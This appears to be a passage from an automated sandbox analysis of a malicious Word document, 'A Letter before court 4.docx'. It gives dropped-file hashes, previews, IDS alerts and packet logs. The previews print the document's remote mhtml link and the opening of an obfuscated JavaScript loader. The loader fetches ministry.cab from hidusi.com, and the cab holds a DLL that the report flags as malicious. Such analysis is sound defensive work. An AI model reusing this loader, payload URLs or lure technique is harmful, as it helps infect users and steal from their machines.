a0_0x15ec(_0x329dba,_0x46107c){return a0_0x15ec=function(_0x127f

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\AB65D505.dat Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	Targa image data - Map - RLE 5 x 65536 x 0 "\004"
Category:	dropped
Size (bytes):	52
Entropy (8bit):	1.8614575055208968
Encrypted:	false
SSDEEP:	3:Vm1olpUktK0Xg/lrll0:MW6kK0XgtI
MD5:	07FFEFF17A8A1A1209AB3C2690D569D4
SHA1:	37CB513FABDDCDBBAA2E7296B31A4BC9832E1B01
SHA-256:	57CFA30BB860B95B7012ED62427025959B671D270AAF67FC406FBC3C4F3C48D4
SHA-512:	743591E7BFE9936EEE057C9D1769595D48C90BA28057D8EBD0F7299B8FCACD7B8FA50AF30BD0B8B6E09F77ADE16B47D6F0ABB079D60E975443A57C514099AD86
Malicious:	false
Preview:	....................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\CAF8D25B.htm Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	6385
Entropy (8bit):	5.137175615924664
Encrypted:	false
SSDEEP:	96:eB+cgULAwdx1KW5UPi/uDFreXr7zNL7DX+Zs3ZDXCf:eocgUU6LKW5UPimpeb7lDX+Zs3ZDXCf
MD5:	4C80DC9FB7483214B1613957AAE57E2A
SHA1:	E5F2089D95FD713CA3D4787FE53C0EC036135E92
SHA-256:	D0FD7ACC38B3105FACD6995344242F28E45F5384C0FDF2EC93EA24BFBC1DC9E6
SHA-512:	4172F2472A578018C92AA5787D4855AFEEF0C02B53E926A4D9922B491F4CB078F4AA99425A719704A268994E7F9AC0DB8851F8809E93AAE298899C4DDD9D40BF
Malicious:	false
Preview:	<!DOCTYPE html>.<html>. <head>. <meta http-equiv="Expires" content="-1">. <meta http-equiv="X-UA-Compatible" content="IE=11">. </head>. <body>. <script>.var a0_0x127f=['123','365952KMsRQT','tiveX','/Lo','./../../','contentDocument','ppD','Dat','close','Acti','removeChild','mlF','write','./A','ata/','ile','../','body','setAttribute','#version=5,0,0,0','ssi','iframe','748708rfmUTk','documentElement','lFile','location','159708hBVRtu','a/Lo','Script','document','call','contentWindow','emp','Document','Obj','prototype','lfi','bject','send','appendChild','Low/championship.inf','htmlfile','115924pLbIpw','GET','p/championship.inf','1109sMoXXX','./../A','htm','l/T','cal/','1wzQpCO','ect','w/championship.inf','522415dmiRUA','http://hidusi.com/e8c76295a5f9acb7/ministry.cab','88320wWglcB','XMLHttpRequest','championship.inf','Act','D:edbc374c-5730-432a-b5b8-de94f0b57217','open','<bo','HTMLElement','/..','veXO','102FePAWC'];function a0_0x15ec(_0x329dba,_0x46107c){return a0_0x15ec=function(_0x127f

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{65DAACF4-2CC1-480C-97AF-0646DECCE795}.tmp Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{DDA3C8BF-F833-4E25-B392-A0D975DFB1BC}.tmp Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4532
Entropy (8bit):	3.5794281464814692
Encrypted:	false
SSDEEP:	96:G2mYI2qRb55efGIdspaWLtiT02kDmECITUgm6zu8HGg:nmY4R1HxmECGpZmg
MD5:	956DFE94575D2CF29D853C05DE580607
SHA1:	32036F25724BE73FE6A067D483BE9D29C945CBB0
SHA-256:	945B9A3027E409CD48800757284CE00CAE04A80A0D4534CD84F0B8168DEB0A84
SHA-512:	7627D3CFB06030A3E4DAFAD6838774C3E3D9BBEE5270F768C51F44C5B0E332083D9CD48C4C7E3B183BD77DF908382BEAFE4F8BB1C98B9A955150058C34AE2CED
Malicious:	false
Preview:	../...L.e.t.t.e.r. .b.e.f.o.r.e. .s.m.a.l.l. .c.l.a.i.m.s. .c.o.u.r.t. .c.l.a.i.m...L.I.N.K. .h.t.m.l.f.i.l.e. .".m.h.t.m.l.:.h.t.t.p.:././.h.i.d.u.s.i...c.o.m./.e.8.c.7.6.2.9.5.a.5.f.9.a.c.b.7./.s.i.d.e...h.t.m.l.!.x.-.u.s.c.:.h.t.t.p.:././.h.i.d.u.s.i...c.o.m./.e.8.c.7.6.2.9.5.a.5.f.9.a.c.b.7./.s.i.d.e...h.t.m.l.". .".". .\.p. .\.f. .0..... . .....8.0.5.0. .W.e.s.t. .7.8.t.h. .S.t.r.e.e.t...M.i.n.n.e.a.p.o.l.i.s.,. .M.N. .5.5.4.3.9.......................................................................................`.......z...............(...................(...H...b.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\side[1].htm Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	6385
Entropy (8bit):	5.137175615924664
Encrypted:	false
SSDEEP:	96:eB+cgULAwdx1KW5UPi/uDFreXr7zNL7DX+Zs3ZDXCf:eocgUU6LKW5UPimpeb7lDX+Zs3ZDXCf
MD5:	4C80DC9FB7483214B1613957AAE57E2A
SHA1:	E5F2089D95FD713CA3D4787FE53C0EC036135E92
SHA-256:	D0FD7ACC38B3105FACD6995344242F28E45F5384C0FDF2EC93EA24BFBC1DC9E6
SHA-512:	4172F2472A578018C92AA5787D4855AFEEF0C02B53E926A4D9922B491F4CB078F4AA99425A719704A268994E7F9AC0DB8851F8809E93AAE298899C4DDD9D40BF
Malicious:	false
Preview:	<!DOCTYPE html>.<html>. <head>. <meta http-equiv="Expires" content="-1">. <meta http-equiv="X-UA-Compatible" content="IE=11">. </head>. <body>. <script>.var a0_0x127f=['123','365952KMsRQT','tiveX','/Lo','./../../','contentDocument','ppD','Dat','close','Acti','removeChild','mlF','write','./A','ata/','ile','../','body','setAttribute','#version=5,0,0,0','ssi','iframe','748708rfmUTk','documentElement','lFile','location','159708hBVRtu','a/Lo','Script','document','call','contentWindow','emp','Document','Obj','prototype','lfi','bject','send','appendChild','Low/championship.inf','htmlfile','115924pLbIpw','GET','p/championship.inf','1109sMoXXX','./../A','htm','l/T','cal/','1wzQpCO','ect','w/championship.inf','522415dmiRUA','http://hidusi.com/e8c76295a5f9acb7/ministry.cab','88320wWglcB','XMLHttpRequest','championship.inf','Act','D:edbc374c-5730-432a-b5b8-de94f0b57217','open','<bo','HTMLElement','/..','veXO','102FePAWC'];function a0_0x15ec(_0x329dba,_0x46107c){return a0_0x15ec=function(_0x127f

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\YQ8Q39W5.HTM Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	907
Entropy (8bit):	5.475873822835406
Encrypted:	false
SSDEEP:	24:kDfXDzXjaQsEhOzfcyuFhsT2c/hOzfcyn:ufXnOWhD+ha
MD5:	CB0E0350EFA4C433E46313A0B0B1BDBF
SHA1:	BCA22BBF1BC319ABBF3E73033936AA40B35AEA9A
SHA-256:	936B52A8F95FE62C29DFA061939267A2464F9A830D3D20F3C7574668661C9D81
SHA-512:	BDEE690FDC93FF4B9033BAC23E596141AE9E3513654C285A789FD0DDEA13C96039C4DB0393AFE06DF9EB5417C8F17B7AAEB6038DA6EBAFFD60B28A759F0793DF
Malicious:	false
Preview:	<html><pre>.* Code Download Log entry (02 Sep 2021 @ 05:59:48) *.Code Download Error: (hr = 800c0400) Unknown Error!!.Operation failed. Detailed Information:. CodeBase: http://hidusi.com/e8c76295a5f9acb7/ministry.cab. CLSID: {EDBC374C-5730-432A-B5B8-DE94F0B57217}. Extension: . Type: ..LOG: Reporting Code Download Completion: (hr:800c0400 (FAILED), CLASSID: edbc374c..., szCODE:(http://hidusi.com/e8c76295a5f9acb7/ministry.cab), MainType:(null), MainExt:(null)).--- Detailed Error Log Follows ---.LOG: Download OnStopBinding called (hrStatus = 0 / hrResponseHdr = 0)..LOG: URL Download Complete: hrStatus:0, hrOSB:800c0400, hrResponseHdr:0, URL:(http://hidusi.com/e8c76295a5f9acb7/ministry.cab).LOG: Reporting Code Download Completion: (hr:800c0400 (FAILED), CLASSID: edbc374c..., szCODE:(http://hidusi.com/e8c76295a5f9acb7/ministry.cab), MainType:(null), MainExt:(null))..</pre></html>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\ministry[1].cab Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	Microsoft Cabinet archive data, 2142304 bytes, 1 file
Category:	dropped
Size (bytes):	2142304
Entropy (8bit):	6.393164821064513
Encrypted:	false
SSDEEP:	49152:nq2pBROC82lyzqn6lqOXQ7Wzwyyv7Fo6LnTqPuDyJ4w:BrPMzwnFo6HxDyuw
MD5:	E770385F9A743AD4098F510166699305
SHA1:	56A8D4F7009CAF32C9E28F3DF945A7826315254C
SHA-256:	1FB13A158AFF3D258B8F62FE211FABEED03F0763B2ACADBCCAD9E8E39969EA00
SHA-512:	920A16B79F1DC75F4FFCE36E4085719DF3C739A39EA467F75469A494F3BC2D0AE572629F7ABAD9C50CA7222C08B9C8E8278ACCFFD80C20F14F00EA1644B30BBD
Malicious:	false
Preview:	MSCF....`. .....,...................P...B....\A........S.p .../championship.inf..i-[....MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......`*/~$KA-$KA-$KA-..-#KA-..-.KA-..-4KA-...-%KA-..D,%KA-..B,,KA-..E,1KA-..D,.KA-..B,%KA-$KA-%KA-..E,#IA-...-7KA-$K@-.KA-..H,+KA-..C,%KA-Rich$KA-........................PE..d....\|.a.........." .................^.......................................`!...........`.................................................L0...................4............!.PX..@6..8....................7..(....6............... ...............................text............................... ..`.rdata..j$... ...&..................@..@.data....A...P.......4..............@....pdata...4.......6..................@..@.gfids..,..... ......P .............@..@.tls.......... ......R .............@....reloc..PX....!..Z...T .............@..B........................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WJ8I2OL4\side[1].htm Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	6385
Entropy (8bit):	5.137175615924664
Encrypted:	false
SSDEEP:	96:eB+cgULAwdx1KW5UPi/uDFreXr7zNL7DX+Zs3ZDXCf:eocgUU6LKW5UPimpeb7lDX+Zs3ZDXCf
MD5:	4C80DC9FB7483214B1613957AAE57E2A
SHA1:	E5F2089D95FD713CA3D4787FE53C0EC036135E92
SHA-256:	D0FD7ACC38B3105FACD6995344242F28E45F5384C0FDF2EC93EA24BFBC1DC9E6
SHA-512:	4172F2472A578018C92AA5787D4855AFEEF0C02B53E926A4D9922B491F4CB078F4AA99425A719704A268994E7F9AC0DB8851F8809E93AAE298899C4DDD9D40BF
Malicious:	false
Preview:	<!DOCTYPE html>.<html>. <head>. <meta http-equiv="Expires" content="-1">. <meta http-equiv="X-UA-Compatible" content="IE=11">. </head>. <body>. <script>.var a0_0x127f=['123','365952KMsRQT','tiveX','/Lo','./../../','contentDocument','ppD','Dat','close','Acti','removeChild','mlF','write','./A','ata/','ile','../','body','setAttribute','#version=5,0,0,0','ssi','iframe','748708rfmUTk','documentElement','lFile','location','159708hBVRtu','a/Lo','Script','document','call','contentWindow','emp','Document','Obj','prototype','lfi','bject','send','appendChild','Low/championship.inf','htmlfile','115924pLbIpw','GET','p/championship.inf','1109sMoXXX','./../A','htm','l/T','cal/','1wzQpCO','ect','w/championship.inf','522415dmiRUA','http://hidusi.com/e8c76295a5f9acb7/ministry.cab','88320wWglcB','XMLHttpRequest','championship.inf','Act','D:edbc374c-5730-432a-b5b8-de94f0b57217','open','<bo','HTMLElement','/..','veXO','102FePAWC'];function a0_0x15ec(_0x329dba,_0x46107c){return a0_0x15ec=function(_0x127f

C:\Users\user\AppData\Local\Temp\championship.inf Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2141696
Entropy (8bit):	6.393101433113653
Encrypted:	false
SSDEEP:	49152:aq2pP74082ly/38k2qOIQ1mMhRNaYF+bLVKqPGRp6WA:A3SzMhvF+bg1RpRA
MD5:	0B7DA6388091FF9D696A18C95D41B587
SHA1:	6C10D7D88606AC1AFD30B4E61BF232329A276CDC
SHA-256:	6EEDF45CB91F6762DE4E35E36BCB03E5AD60CE9AC5A08CAEB7EDA035CD74762B
SHA-512:	45B26E8F9885DCA6F4E1984FC39CB4C2A5B5988C970F35DDE987B7A5A8417ACBE5E972A6602071E903425F91A9095C7C289E574C3BAD3039324185AD85D06A9A
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 37%, Browse Antivirus: ReversingLabs, Detection: 22%
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......`*/~$KA-$KA-$KA-..-#KA-..-.KA-..-4KA-...-%KA-..D,%KA-..B,,KA-..E,1KA-..D,.KA-..B,%KA-$KA-%KA-..E,#IA-...-7KA-$K@-.KA-..H,+KA-..C,%KA-Rich$KA-........................PE..d....\|.a.........." .................^.......................................`!...........`.................................................L0...................4............!.PX..@6..8....................7..(....6............... ...............................text............................... ..`.rdata..j$... ...&..................@..@.data....A...P.......4..............@....pdata...4.......6..................@..@.gfids..,..... ......P .............@..@.tls.......... ......R .............@....reloc..PX....!..Z...T .............@..B................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\A Letter before court 4.docx.LNK Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 14:03:42 2020, mtime=Thu Sep 2 11:59:44 2021, atime=Thu Sep 2 11:59:34 2021, length=24177, window=hide
Category:	dropped
Size (bytes):	2250
Entropy (8bit):	4.71692166007109
Encrypted:	false
SSDEEP:	48:83w0Diwmxsw0DbzB6p3w0Diwmxsw0DbzB6:83wSJwSbzK3wSJwSbz
MD5:	1627B8ECF4B2BE2E37989BCFDFA3909A
SHA1:	45B5701CF81FDCCD401B9BC4121E8666E42A8C03
SHA-256:	2294897C5FF99163C3A0C75ABC4E8669E49C4F1ECADC6127A190F3203AC41226
SHA-512:	2A9A0636F165C93118014B79827FBD321D11B281237ACBA89F94899FB7F64EEBD0E6EE68DC060560C5D5CE0395CA70D07C43E41C1E6DAB1D16DA3C6CD8058143
Malicious:	false
Preview:	L..................F.... .......:...M..f.....N.`....q^...........................P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L.."Skg....................:.....q\|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Qwx..user.<.......Ny."Skg.....S....................;...h.a.r.d.z.....~.1.....>Qyx..Desktop.h.......Ny."Skg.....Y..............>.....4...D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.q^.."Srg .ALETTE~1.DOC..j......>Qvx"Srg....h.....................;]..A. .L.e.t.t.e.r. .b.e.f.o.r.e. .c.o.u.r.t. .4...d.o.c.x.......b...............-.......a...........>.S......C:\Users\user\Desktop\A Letter before court 4.docx..3.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.A. .L.e.t.t.e.r. .b.e.f.o.r.e. .c.o.u.r.t. .4...d.o.c.x.........:..,.LB.)...As...`.......X.......066656...........!a..%.H.VZAj......-.........-..!a..%.H.VZAj......-.........-.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	124
Entropy (8bit):	4.436698983470942
Encrypted:	false
SSDEEP:	3:HvEyFdQGLztBfpS8FpoyFdQGLztBfpSmxWvEyFdQGLztBfpSv:HvEyFdQGdNpvOyFdQGdNpiEyFdQGdNpc
MD5:	EE7A6E0FC18CBBFB04F42526D9670325
SHA1:	F1129C5727C4ECF32B19AE1E0B734DA85D1A41F6
SHA-256:	4EC064C3ED275708B4909E1248A6F1CAFAF26A5A6D985C93F6C312E016BEE717
SHA-512:	7C707ED2658380840AF83080E3AB290FF83EA4674B03DE9ED0198CA277BB71C4C113406D9EDD90C3935198F0FCDF439D7AD05B70245FCD2C68B0BCC432BCF537
Malicious:	false
Preview:	[misc]..A Letter before court 4.docx.LNK=0..A Letter before court 4.docx.LNK=0..[misc]..A Letter before court 4.docx.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.2582813354693725
Encrypted:	false
SSDEEP:	3:Rl/Zdt+3lqK4WSl5lqK0+XL/t:RtZv+45UGXB
MD5:	E15689FF992E405F6B8BA519FD43D5BA
SHA1:	D8499749B786CB308E8B29D337BB51C2B50A1EE2
SHA-256:	9521B8ECD20422FD0C3C71F0CDC3DFB7C76E136063DE14C0F13D3C2FF757F93F
SHA-512:	D743FC52712EB2C81237119002E5032A76C092C0AADBA822F17B87C76B88086262DE4B81CC5C889EADD4F56EF851E13FBD4F079AFAFDA5EE3AB0FC6023D9BDA4
Malicious:	false
Preview:	.pratesh................................................p.r.a.t.e.s.h...........\\|............T.......6C........P\|............H.......6C........T\|............H...

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0809.lex Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	Little-endian UTF-16 Unicode text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\Desktop\~$Letter before court 4.docx Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.2582813354693725
Encrypted:	false
SSDEEP:	3:Rl/Zdt+3lqK4WSl5lqK0+XL/t:RtZv+45UGXB
MD5:	E15689FF992E405F6B8BA519FD43D5BA
SHA1:	D8499749B786CB308E8B29D337BB51C2B50A1EE2
SHA-256:	9521B8ECD20422FD0C3C71F0CDC3DFB7C76E136063DE14C0F13D3C2FF757F93F
SHA-512:	D743FC52712EB2C81237119002E5032A76C092C0AADBA822F17B87C76B88086262DE4B81CC5C889EADD4F56EF851E13FBD4F079AFAFDA5EE3AB0FC6023D9BDA4
Malicious:	false
Preview:	.pratesh................................................p.r.a.t.e.s.h...........\\|............T.......6C........P\|............H.......6C........T\|............H...

Static File Info

General
File type:	Microsoft OOXML
Entropy (8bit):	7.850691698295347
TrID:	Word Microsoft Office Open XML Format document (49504/1) 49.01% Word Microsoft Office Open XML Format document (43504/1) 43.07% ZIP compressed archive (8000/1) 7.92%
File name:	A Letter before court 4.docx
File size:	24177
MD5:	1d2094ce85d66878ee079185e2761beb
SHA1:	53b31e513d8e23e30b7f133d4504ca7429f0e1fe
SHA256:	938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52
SHA512:	b212a49ec0431e7f798ed917e4899050c2e3021b0606ce2188347f3d06fdad0f762417801004bfddf8067131563342b8feb7ed4142b864a955212f9cd9a9a503
SSDEEP:	384:Q6UDg00MWEg9fPCPyH111/elBqhveoNHfn5yAehqbhtgyhdCxi556BjsbIwRu:QcMWE04uebyvNv5yHcttg6dwc5YQb5Q
File Content Preview:	PK..........!...<.f...........[Content_Types].xmlUT...........ux..............T.j.0.....F.`+....'...6....i.....l..........b....Y3.n.J....&'.lH.0..i..\|._......`.......Nno..... ...,ct......Bf..D..5...K...f%.....rk"...J.L..P......?7I...$yj.+..H].....lt.I....

File Icon


Icon Hash:	74fcd0d2d6d6d0cc

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
09/02/21-05:54:10.145250	TCP	1042	WEB-IIS view source via translate header	49167	80	192.168.2.22	23.106.160.25
09/02/21-05:54:10.320544	TCP	1042	WEB-IIS view source via translate header	49167	80	192.168.2.22	23.106.160.25
09/02/21-05:54:11.201020	TCP	1042	WEB-IIS view source via translate header	49167	80	192.168.2.22	23.106.160.25
09/02/21-05:54:11.373025	TCP	1042	WEB-IIS view source via translate header	49167	80	192.168.2.22	23.106.160.25
09/02/21-05:54:12.323568	TCP	1042	WEB-IIS view source via translate header	49167	80	192.168.2.22	23.106.160.25
09/02/21-05:54:12.495956	TCP	1042	WEB-IIS view source via translate header	49167	80	192.168.2.22	23.106.160.25
09/02/21-05:54:14.711016	TCP	1042	WEB-IIS view source via translate header	49167	80	192.168.2.22	23.106.160.25
09/02/21-05:54:14.883135	TCP	1042	WEB-IIS view source via translate header	49167	80	192.168.2.22	23.106.160.25
09/02/21-05:54:16.136281	TCP	1042	WEB-IIS view source via translate header	49170	80	192.168.2.22	23.106.160.25
09/02/21-05:54:16.309207	TCP	1042	WEB-IIS view source via translate header	49170	80	192.168.2.22	23.106.160.25
09/02/21-05:54:20.342750	TCP	100000132	COMMUNITY WEB-MISC Proxy Server Access	80	49168	23.106.160.25	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 2, 2021 05:59:39.313483953 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:39.485235929 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:39.485347033 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:39.486073971 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:39.657493114 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:39.659250975 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:39.713279963 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:39.740879059 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:39.914141893 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:39.914613962 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:39.963272095 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:42.941920996 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:43.118096113 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:43.118628979 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:43.166695118 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:43.203744888 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:43.375916004 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:43.376904964 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:43.376935959 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:43.548940897 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:43.550872087 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:43.550905943 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:43.550970078 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:43.550998926 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:43.566051006 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:43.738039970 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:43.738517046 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:43.738625050 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:43.748692989 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:43.922178030 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:43.922211885 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:43.922571898 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:43.962320089 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:44.133872986 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:44.134196043 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:44.182367086 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:44.184863091 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:44.360096931 CEST	80	49706	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:44.378772020 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:44.401175976 CEST	49706	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:44.550870895 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:44.551347971 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:44.551369905 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:44.551428080 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:44.551481009 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:44.559559107 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:44.733710051 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:44.733787060 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:44.739734888 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:44.912250042 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:44.912534952 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:45.724760056 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:45.897394896 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:45.897434950 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:45.897461891 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:45.897496939 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:45.897527933 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:45.897547960 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:45.897555113 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:45.897583961 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:45.897610903 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:45.897634029 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:45.897638083 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:45.897658110 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:45.897665977 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:45.897670031 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:45.897708893 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:45.897749901 CEST	49707	80	192.168.2.3	23.106.160.25
Sep 2, 2021 05:59:46.071315050 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071346045 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071366072 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071384907 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071403027 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071418047 CEST	80	49707	23.106.160.25	192.168.2.3
Sep 2, 2021 05:59:46.071434021 CEST	80	49707	23.106.160.25	192.168.2.3
